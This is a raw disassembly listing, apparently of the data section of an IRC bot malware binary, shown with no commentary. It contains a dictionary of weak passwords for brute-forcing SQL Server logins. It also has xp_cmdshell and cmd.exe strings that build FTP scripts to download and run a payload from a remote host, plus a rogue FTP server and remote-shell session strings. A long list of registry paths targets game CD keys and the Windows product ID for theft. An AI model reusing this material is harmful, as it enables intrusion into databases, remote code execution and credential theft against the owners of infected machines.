aDatabase	db 'database',0         ; DATA XREF: .data:0040C867o
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:0040C871o
		align 10h
aDbpass		db 'dbpass',0           ; DATA XREF: .data:0040C87Bo
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:0040C885o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:0040C88Fo
		align 4
aData		db 'data',0             ; DATA XREF: .data:0040C899o
		align 4
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:0040C8A3o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: .data:0040C8ADo
aDb2		db 'db2',0              ; DATA XREF: .data:0040C8B7o
aDb1234		db 'db1234',0           ; DATA XREF: .data:0040C8C1o
		align 10h
aSa_0		db 'sa',0               ; DATA XREF: .data:0040C8CBo
		align 4
aSql		db 'sql',0              ; DATA XREF: .data:0040C8D5o
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:0040C8DFo
		align 4
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:0040C8E9o
		align 4
aOracle		db 'oracle',0           ; DATA XREF: .data:0040C8F3o
		align 10h
aIbm		db 'ibm',0              ; DATA XREF: .data:0040C8FDo
aCisco		db 'cisco',0            ; DATA XREF: .data:0040C904o
		align 4
aDell		db 'dell',0             ; DATA XREF: .data:0040C90Bo
		align 4
aCompaq		db 'compaq',0           ; DATA XREF: .data:0040C912o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .data:0040C919o
aHp		db 'hp',0               ; DATA XREF: .data:0040C920o
		align 4
aNokia		db 'nokia',0            ; DATA XREF: .data:0040C927o
		align 10h
aXp		db 'xp',0               ; DATA XREF: .data:0040C92Eo
		align 4
aControl	db 'control',0          ; DATA XREF: .data:0040C935o
aOffice		db 'office',0           ; DATA XREF: .data:0040C93Co
		align 4
aBlank		db 'blank',0            ; DATA XREF: .data:0040C943o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .data:0040C94Ao
aMain		db 'main',0             ; DATA XREF: .data:0040C951o
		align 4
aLan		db 'lan',0              ; DATA XREF: .data:0040C958o
aInternet_0	db 'internet',0         ; DATA XREF: .data:0040C95Fo
		align 4
aIntranet	db 'intranet',0         ; DATA XREF: .data:0040C966o
		align 4
aStudent	db 'student',0          ; DATA XREF: .data:0040C96Do
aTeacher	db 'teacher',0          ; DATA XREF: .data:0040C974o
aStaff		db 'staff',0            ; DATA XREF: .data:0040C97Bo
		align 10h
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: .data:0040C9FBo
		align 8
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: .data:0040CA94o
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: .data:0040CACBo
		align 4
dword_440AB8	dd 21F5B1Fh, 544F4F52h,	1F024445h, 0BB201F5Dh, 4920BBBBh
					; DATA XREF: .data:0040CAE0o
		dd 25203A50h, 73h
unk_440AD4	db    2			; DATA XREF: .data:0040CB5Fo
		db 28h,	6Dh, 73h
		db  71h	; q
		db 6Ch,	29h, 1Fh
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTryingSDUserSS	db ' Trying: (%s:%d) user: (%s/%s).',0
		align 4
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40CC69+130o
		align 10h
aEchoOpenSDOEch	db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o'
					; DATA XREF: sub_40CE55+23Eo
		db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40D0F7+1B9o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_40D0F7+237o
		align 10h
aUser_2		db 'USER',0             ; DATA XREF: sub_40D0F7+248o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_40D0F7+25Do
		align 10h
aPass_0		db 'PASS',0             ; DATA XREF: sub_40D0F7+26Do
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40D0F7+281o
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_40D0F7+291o
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40D0F7+2A5o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_40D0F7+2B5o
		align 10h
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40D0F7+2C9o
		align 4
off_440C14	dd offset dword_445750	; DATA XREF: sub_40D0F7+2D9o
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40D0F7+2EDo
		align 4
aType		db 'TYPE',0             ; DATA XREF: sub_40D0F7+2FDo
		align 2
aA_0		db 'A',0                ; DATA XREF: sub_40D0F7+314o
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40D0F7+328o
aType_0		db 'TYPE',0             ; DATA XREF: sub_40D0F7+338o
		align 2
aI_0		db 'I',0                ; DATA XREF: sub_40D0F7+34Fo
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40D0F7+363o
aPasv		db 'PASV',0             ; DATA XREF: sub_40D0F7+373o
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: sub_40D0F7+386o
		align 4
aList_0		db 'LIST',0             ; DATA XREF: sub_40D0F7+3C1o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40D0F7+3D4o
		align 4
aPort		db 'PORT',0             ; DATA XREF: sub_40D0F7+402o
		align 4
aS_14		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_40D0F7+43Bo
		db ']',0
aXX		db '%x%x',0Ah,0         ; DATA XREF: sub_40D0F7+47Fo
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: sub_40D0F7+4B2o
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_40D0F7+4C3o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: sub_40D0F7+4D3o
		align 10h
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: sub_40D0F7+4EBo
		align 4
aFtpTransferSta	db 'ftp transfer started to: %s',0 ; DATA XREF: sub_40D0F7+514o
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_40D0F7+55Eo
aFtpTransferCom	db 'ftp transfer complete to: %s',0 ; DATA XREF: sub_40D0F7+570o
		align 10h
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: sub_40D0F7+5C1o
		align 4
aQuit_1		db 'QUIT',0             ; DATA XREF: sub_40D0F7+5CEo
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_40D0F7+5E2o
aRb		db 'rb',0               ; DATA XREF: sub_40D78C+24o
		align 10h
aGet_0		db 'GET ',0             ; DATA XREF: sub_40D826+25Eo
		align 2
asc_440E06	db ' ',0                ; DATA XREF: sub_40D826+281o
asc_440E08:				; DATA XREF: sub_40D826+286o
		unicode	0, < >,0
aGet_1		db 'GET ',0             ; DATA XREF: sub_40D826+291o
		align 4
asc_440E14	db 0Dh,0Ah,0		; DATA XREF: sub_40D826+2C4o
		align 4
unk_440E18	db  2Dh	; -		; DATA XREF: sub_40D826+3D9o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerFailedRe	db ' server failed, returned %d',0
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40DC62+64o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40DC62:loc_40DCCDo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40DC62+83o
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40DC62+97o
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DC62+D3o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 8
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40DC62+F0o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aS_15		db '\%s',0              ; DATA XREF: sub_40DDDE+2Fo
aS_16		db '%s',0               ; DATA XREF: sub_40DDDE+39o
		align 10h
aSS_2		db '%s%s',0             ; DATA XREF: sub_40DDDE+E9o
		align 2
asc_441066	db 0Ah,0		; DATA XREF: sub_40DDDE+FAo
asc_441068:				; DATA XREF: sub_40DDDE+156o
		unicode	0, <*>,0
unk_44106C	db  2Dh	; -		; DATA XREF: sub_40DDDE+20Ao
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
dword_4410A0	dd 234032Dh, 70747468h,	2D030264h, 69616620h, 2064656Ch
					; DATA XREF: sub_40DDDE+27Co
		dd 73206F74h, 74726174h, 726F7720h, 2072656Bh, 65726874h
		dd 202C6461h, 6F727265h, 64252072h
		db 2 dup(0)
word_4410D6	dw 0Ah			; DATA XREF: sub_40E08D+29o
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+4Bo
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40E08D+77o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40E08D+ACo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 8
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E08D+F6o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E08D+12Ao
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+146o
		align 8
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E08D+1BFo
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
a__		db '..',0               ; DATA XREF: sub_40E08D+231o
		align 10h
a__0:					; DATA XREF: sub_40E08D+24Co
		unicode	0, <.>,0
aPm_0		db 'PM',0               ; DATA XREF: sub_40E08D+284o
		align 4
aAm		db 'AM',0               ; DATA XREF: sub_40E08D+293o
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40E08D+2B4o
aS_17		db '<%s>',0             ; DATA XREF: sub_40E08D+2DEo
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40E08D+308o
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E08D+335o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aSS_3		db '%s%s/',0            ; DATA XREF: sub_40E08D+379o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40E08D+3C6o
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40E08D:loc_40E45Ao
		align 10h
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40E08D+406o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aS_18		db '<%s>',0             ; DATA XREF: sub_40E08D+418o
		align 10h
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+439o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40E08D+476o
		align 4
aTrTdWidthDAH_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E08D+48Bo
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aSS_4		db '%s%s',0             ; DATA XREF: sub_40E08D+4CFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40E08D+51Co
		align 10h
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40E08D:loc_40E5B0o
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40E08D+566o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40E08D+58Eo
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40E08D+61Do
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40E08D+638o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40E08D+64Do
		align 10h
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_40E7F9+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_4415B8	dd 234032Dh, 6E656469h,	3026474haClientConnecti	db '- client connection from %s:%d.',0
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_40E91A+113o
dword_4415FC	dd 234032Dh, 6E656469h,	3026474haServerFailed_0	db '- server failed, returned %d',0
		align 4
unk_441628	db  2Dh	; -		; DATA XREF: sub_40EAC5+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_441670	db  2Dh	; -		; DATA XREF: sub_40EAC5+14Bo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_23	db 'Failed to start client thread, error: <%d>.',0
		align 10h
unk_4416B0	db  2Dh	; -		; DATA XREF: sub_40EC55+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 8
unk_4416F8	db  2Dh	; -		; DATA XREF: sub_40EC55+157o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_24	db 'Failed to start connection thread, error: <%d>.',0
unk_441738	db  2Dh	; -		; DATA XREF: sub_40EE3D+F6o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 10h
unk_441780	db  2Dh	; -		; DATA XREF: sub_40EE3D+12Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4417C8	db  2Dh	; -		; DATA XREF: sub_40EE3D+17Fo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 10h
unk_441800	db  2Dh	; -		; DATA XREF: sub_40F02F+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_441840	db  2Dh	; -		; DATA XREF: sub_40F02F+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_2	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 10h
unk_441880	db  2Dh	; -		; DATA XREF: sub_40F02F+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_40F128+8Co
		align 10h
unk_4418B0	db  2Dh	; -		; DATA XREF: sub_40F128+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
unk_4418E8	db  2Dh	; -		; DATA XREF: sub_40F201+8Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
aRb_0		db 'rb',0               ; DATA XREF: sub_40F3B8+130o
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0 ; DATA XREF: sub_40F3B8+2CDo
		align 4
aTftpTransferCo	db 'Tftp transfer complete to: %s',0 ; DATA XREF: sub_40F3B8+3BEo
		align 4
dword_441968	dd 4000500h, 7868746Bh,	0dword_441974	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dhdword_441988	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40F927+60o
		align 10h
dword_4419C0	dd 234032Dh, 2676F6Ch, 2D03hdword_4419CC	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_40FA64+20o
dword_4419E0	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_40FA64:loc_40FA99o
dword_4419F4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: sub_40FAD7+3Fo
		dd 676E6974h, 0
dword_441A10	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: sub_40FAD7+DCo
		dd 6574656Ch, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_40FC06+11o
aWindow		db 'Window',0           ; DATA XREF: sub_40FE41+23o
		align 4
aWindow_0	db 'Window',0           ; DATA XREF: sub_41003A+26o
		align 8
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: .data:off_4428FCo
		align 10h
aCdkey		db 'CDKey',0            ; DATA XREF: .data:00442900o
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: .data:00442904o
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aKey_0		db 'Key',0
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aKey_1		db 'Key',0
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aCustomernumber	db 'CustomerNumber',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aCdkey_0	db 'CDKey',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
		align 4
aProductid	db 'ProductId',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aSoftwareUnreal	db 'Software\Unreal Technology\Installed Apps\UT2003',0
		align 4
aCdkey_1	db 'CDKey',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2003',0
		align 4
aSoftwareUnre_0	db 'Software\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aCdkey_2	db 'CDKey',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2004',0
		align 10h
aSoftwareIgi2Re	db 'Software\IGI 2 Retail',0
		align 4
aCdkey_3	db 'CDKey',0
		align 10h
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
aSoftwareElectr	db 'Software\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
aSoftwareElec_0	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aBattlefield194	db 'Battlefield 1942',0
		align 10h
aSoftwareElec_1	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		align 10h
aSoftwareElec_2	db 'Software\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons'
		db ' of WWII\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
aSoftwareElec_3	db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
aSoftwareElec_4	db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		align 8
aSoftwareElec_5	db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
aCommandAndConq	db 'Command and Conquer: Generals (Zero Hour)',0
		align 8
aSoftwareElec_6	db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
aSoftwareElec_7	db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0
aCommandAndCo_0	db 'Command and Conquer: Generals',0
		align 4
aSoftwareElec_8	db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 8
aSoftwareElec_9	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault',0
		align 10h
aSoftwareEle_10	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 8
aSoftwareEle_11	db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
aSoftwareEle_12	db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aSoftwareEle_13	db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
aSoftwareEle_14	db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
					; DATA XREF: .data:00442B6Aw
		db 'ion\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0 ; DATA XREF: .data:00442B74o
		align 10h
aSoftwareEle_15	db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0
					; DATA XREF: .data:00442B82w
		align 4
aFifa2002	db 'FIFA 2002',0        ; DATA XREF: .data:00442B8Co
		align 10h
aSoftwareEle_16	db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 10h
aSoftwareEle_17	db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 10h
aSoftwareEle_18	db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 10h
aSoftwareEle_19	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNascarRacing20	db 'Nascar Racing 2002',0
		align 10h
aSoftwareEle_20	db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2003',0
		align 10h
aSoftwareRedSto	db 'Software\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aCdkey_4	db 'CDKey',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
aSoftwareWestwo	db 'Software\Westwood\Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 10h
aSoftwareWest_0	db 'Software\Westwood\Red Alert',0
aSerial_0	db 'Serial',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Red Alert',0
		align 4
aSoftwareWest_1	db 'Software\Westwood\Red Alert 2',0
		align 4
aSerial_1	db 'Serial',0
		align 4
aCommandAndCo_3	db 'Command and Conquer: Red Alert 2',0
		align 10h
aSoftwareWest_2	db 'Software\Westwood\NOX',0
		align 4
aSerial_2	db 'Serial',0
		align 10h
aNox		db 'NOX',0
aSoftwareTechla	db 'Software\Techland\Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSoftwareIllusi	db 'Software\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aKey_2		db 'key',0
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aLocation	db 'Location',0
		align 4
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aNwncdkey_ini	db 'nwncdkey.ini',0
		align 10h
aKey1		db 'Key1=',0
		align 4
aSoftwareBiow_0	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aLocation_0	db 'Location',0
		align 4
aNeverwinterN_0	db 'Neverwinter Nights (Shadows of Undrentide)',0
		align 4
aNwncdkey_ini_0	db 'nwncdkey.ini',0
		align 4
aKey2		db 'Key2=',0
		align 4
aSoftwareBiow_1	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aLocation_1	db 'Location',0
		align 4
